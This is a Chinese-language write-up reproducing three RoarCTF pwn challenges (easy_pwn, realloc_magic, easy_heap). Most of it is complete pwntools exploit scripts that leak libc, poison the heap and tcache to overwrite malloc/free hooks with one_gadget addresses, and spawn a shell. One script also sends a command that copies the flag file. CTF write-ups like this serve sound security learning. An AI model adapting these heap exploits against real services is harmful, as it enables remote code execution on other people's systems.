Roarctf 几道pwn 复现

1、easy_pwn

　　可以利用的点：

__int64 __fastcall sub_E26(signed int a1, unsigned int a2)

{

  __int64 result; // rax

  if ( a1 > (signed int)a2 )

    return a2;

  if ( a2 - a1 ==  )

    LODWORD(result) = a1 + ;

  else

    LODWORD(result) = a1;

  return (unsigned int)result;

}

然后覆盖了下一个chunk的 size ，然后就是像之前的0ctf2017的babyheap程序

具体可以参考这里

https://bbs.pediy.com/thread-246786.htm

payload：

#!/usr/bin/env python

# -*- coding: utf-8 -*-

from pwn import *

context.log_level = 'debug'

host = "192.168.244.153"

port = 8888

#r = process("")

r = remote(host,port)

def add(size):

    r.recvuntil("choice: ")

    r.sendline(str(1))

    r.recvuntil("size: ")

    r.sendline(str(size))

def edit(index,size,content):

    r.recvuntil("choice: ")

    r.sendline(str(2))

    r.recvuntil("index: ")

    r.sendline(str(index))

    r.recvuntil("size: ")

    r.sendline(str(size))

    r.recvuntil("content: ")

    r.sendline(content)

def free(index):

    r.recvuntil("choice: ")

    r.sendline(str(3))

    r.recvuntil("index: ")

    r.sendline(str(index))

def show(index):

    r.recvuntil("choice: ")

    r.sendline(str(4))

    r.recvuntil("index: ")

    r.sendline(str(index))

add(0x68)#

add(0x68)#

add(0x68)#

add(0x68)#

add(0x68)#

add(0x68)#

payload = 'a'*0x68+p8(0xe1)

edit(0,0x68+0xa,payload)

free(1)

add(0x68)#

show(2)

r.recvuntil(": ")

leak = u64(r.recv(6).ljust(8,'\x00'))

libc = leak - 0x3c4b78

print "libc:"+hex(libc)

free_hook = libc +0x3c67a8

malloc_hook = libc +0x3c4b10

ong_a = libc + 0x4526a

realloc_hook = libc +0x846C0

payload = p64(malloc_hook -0x23)

add(0x60)#

free(2)

edit(6,8,payload)

add(0x60)#

add(0x60)#

payload = 'a'*0xb+p64(ong_a)+p64(realloc_hook)

edit(7,len(payload),payload)

add(0x68)

r.interactive()

2、realloc_magic

　　程序：

int fr()

{

  free(realloc_ptr);

  return puts("Done");

}

int ba()

{

  if ( lock )

    exit(-);

  lock = ;

  realloc_ptr = 0LL;

  return puts("Done");

}

int re()

{

  size_t size; // [rsp+Ch] [rbp-4h]

  puts("Size?");

  LODWORD(size) = get_int("Size?");

  realloc_ptr = realloc(realloc_ptr, (unsigned int)size);

  puts("Content?");

  read(, realloc_ptr, (unsigned int)size);

  return puts("Done");

}

没有malloc ，这道题可以修改tcache的内容，因为tache 就在heap的最上面可以修改几个字节就星

首先用double free realloc到 tcache去和修改一个chunk的大小，然后free掉 jiu可以放到unsortbin去接下来就去布局了继续realloc 的话就会从unsortdbin上扣出来，好像是。。。

既然修改到tcache去，就可以修改tcache 的chunk，这样就可以修改一个tcache中的chunk 指向IO_2_1_stdin去。接下来在用666

接下来就常规操作

我就参考了两个wp

都实现了下

payload：

#!/usr/bin/env python

# -*- coding: utf-8 -*-

from pwn import *

import random

context.log_level = 'debug'

#host = "192.168.244.158"

host = '127.0.0.1'

port = 8888

#r = process("")

r = remote(host,port)

def dele():

    r.recvuntil(">> ")

    r.sendline(str(2))

def realloc_(size,content):

    r.recvuntil(">> ")

    r.sendline(str(1))

    r.recvuntil("Size?")

    r.sendline(str(size))

    r.recvuntil("Content?")

    r.send(content)

def lock_666():

    r.recvuntil(">> ")

    r.sendline(str(666))

#realloc_(0x70,'a')

#realloc_(0,'')

#realloc_(0x100,'a')

#realloc_(0,'')

#realloc_(0xe0,'a')

#realloc_(0,'a')

#realloc_(0x100,'a')

#[dele() for i in range(7)]

#realloc_(0x0,'')

#realloc_(0x70,'a')

#realloc_(0x180,chr(0)*0x78+p64(0x41)+p16(0x9760-0x43))

#realloc_(0,'')

#realloc_(0x100,'a')

#realloc_(0,'')

#realloc_(0x100,'a'*0x43+p64(0xfbad1887) + p64(0) *3 + "\x00")

#leak=u64(r.recvuntil("realloc")[9:9+6].ljust(8,'\x00'))

#leak=u64(r.recv(6).rjust(8,'\x00'))

#print hex(leak)

#libc = leak - 0x3ed8b0

#lock_666()

#realloc_(0x70,'a')

#realloc_(0,'')

#realloc_(0x110,'a')

#realloc_(0,'')

#realloc_(0xf0,'a')

#realloc_(0,'a')

#realloc_(0x110,'a')

#[dele() for i in range(7)]

#realloc_(0x0,'')

#realloc_(0x70,'a')

#realloc_(0x190,chr(0) * 0x78 + p64(0x41) + p64(libc + 0x3ed8e8))

#realloc_(0x0,'')

#print hex(libc)

#realloc_(0x110,'a')

#realloc_(0,'')

#ong_g = libc + 0x4f322

#realloc_(0x110,p64(ong_g))

#r.sendline(str(2))

realloc_(0x28,'a')

dele()

realloc_(0x68,'n')

dele()

realloc_(0x18,'n')

realloc_(0,'')

realloc_(0x48,'a')

dele()

realloc_(0,'')

realloc_(0x68,'a'*0x18+p64(0x201)+p16(0x7010))

realloc_(0,'')

realloc_(0x48,'s')

realloc_(0,'')

realloc_(0x48,'\xff'*0x38+p64(0x31))

realloc_(0x58, 'a' * 0x18 + ' ' *0x20 + p64(0x41)+p64(0) +p16(0x7050))

realloc_(0,'')

realloc_(0x28,p64(0)*4+p16(0x072d)+p8(0xdd))

realloc_(0,'')

realloc_(0x58,'a'*0x33+p64(0xfbad3c80)+p64(0)*3+chr(0))

leak=u64(r.recvuntil("realloc")[9:9+6].ljust(8,'\x00'))

print hex(leak)

libc = leak - 0x3ed8b0

#realloc_(0,'')

#realloc_(0x1e8,p64(0)*4+p16(0x072d)+p8(0xdd))

#realloc_(0,'')

#realloc_(0x58,'a'*0x13+p64(0xfbad3c80)+p64(0)*3+chr(0))

#result=r.recvn(8)

#realloc_(0x50,  'a' * 0x18 + ' ' * 0x20 + p64(0x201)+ p16(0x7060))

#realloc_(0,'')

#realloc_(0x18,p64(0)+p64(0x1f1)+p16(0x072d)+p8(0xdd))

#realloc_(0,'')

#realloc_(0x28,'a')

#realloc_(0x1e8,'a')

#realloc_(0x1e8,p16(0x072d)+p8(0xdd))

r.sendline(str(666))

realloc_(0x38,p64(0)+p64(libc+0x3ed8e8))

realloc_(0,'')

ong_g = libc+0x4f322

realloc_(0x28,p64(ong_g))

r.sendline('')

r.interactive()

#realloc_(0x50,'p'*0x33+p64(0xfbad3c80)+p64(0)*3+chr(0))

#leak=u64(r.recvuntil("realloc")[9:9+6].ljust(8,'\x00'))

#print hex(leak)

r.interactive()

easy_heap:

　　这道只有show了一次就关了 stdou 和stderr

　　所以其实就是劫持 bss上的，然后可以修改，在bss上伪造一个 unsortbin ，然后释放就有了libc的地址，但是要用那个给的realloc的卡住，就能泄露出来了

　　我是在本地调试的。

payload：

#!/usr/bin/env python

# -*- coding: utf-8 -*-

from pwn import *

context.log_level='debug'

host = "192.168.244.158"

port = 8888

r = remote(host,port)

r.recvuntil("please input your username:")

r.sendline('yezi')

r.recvuntil("please input your info:")

r.sendline('lan')

def add2(size,content):

    sleep(0.1)

    r.sendline(str(1))

    sleep(0.1)

    r.send(str(size).ljust(8, '\x00'))

    sleep(0.3)

    r.send(content)

def add(size,content):

    r.recvuntil(">> ")

    r.sendline(str(1))

    r.recvuntil("input the size")

    r.sendline(str(size))

    r.recvuntil("please input your content")

    r.sendline(content)

def free2():

    sleep(0.2)

    r.sendline(str(2))

def free():

    r.recvuntil(">> ")

    r.sendline(str(2))

def show():

    r.recvuntil(">> ")

    r.sendline(str(3))

def e_666(chosn,content):

    r.recvuntil(">> ")

    r.sendline(str(666))

    r.recvuntil("build or free?")

    if chosn == 1:

        r.sendline(str(1))

        r.recvuntil("please input your content")

        r.sendline(content)

    else:

        r.sendline(str(2))

add(0x50,'a')#

add(0x50,'b')#

add(0x50,'c')#

free()

free()

add(0x50,p64(0x602080))

add(0x50,'a')

payload = 0xdeadbeefdeadbeef

add(0x50,p64(0)+p64(0x6020b0)+p64(payload)+p64(0)+p64(0)+p64(0xb1))

e_666(1,'a')

[free() for i in range(7)]

add(0x70,'a')

e_666(0,'a')

add(0x8,'aaaaaaa')

show()

r.recvuntil("\n")

libc = u64(r.recv(6).ljust(0x8,'\x00')) -0x3ebd40

log.info(hex(libc))

malloc_hook = libc + 0x3ebc30

free_hook = libc +0x3ed8e8

system = libc +0x4f440

add2(0x40,'aa')

free2()

free2()

add2(0x40,p64(malloc_hook-0x8))

add2(0x40,p64(malloc_hook-0x8))

#payload = p64(system)

payload = p64(libc+0x4f322)+p64(libc+0x98c30+9)

add2(0x40,payload)

add2(0x40,'touch 1.txt|cat flag > 1.txt')

r.interactive()

参考：https://www.anquanke.com/post/id/188785#h3-6

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Roarctf 几道pwn 复现

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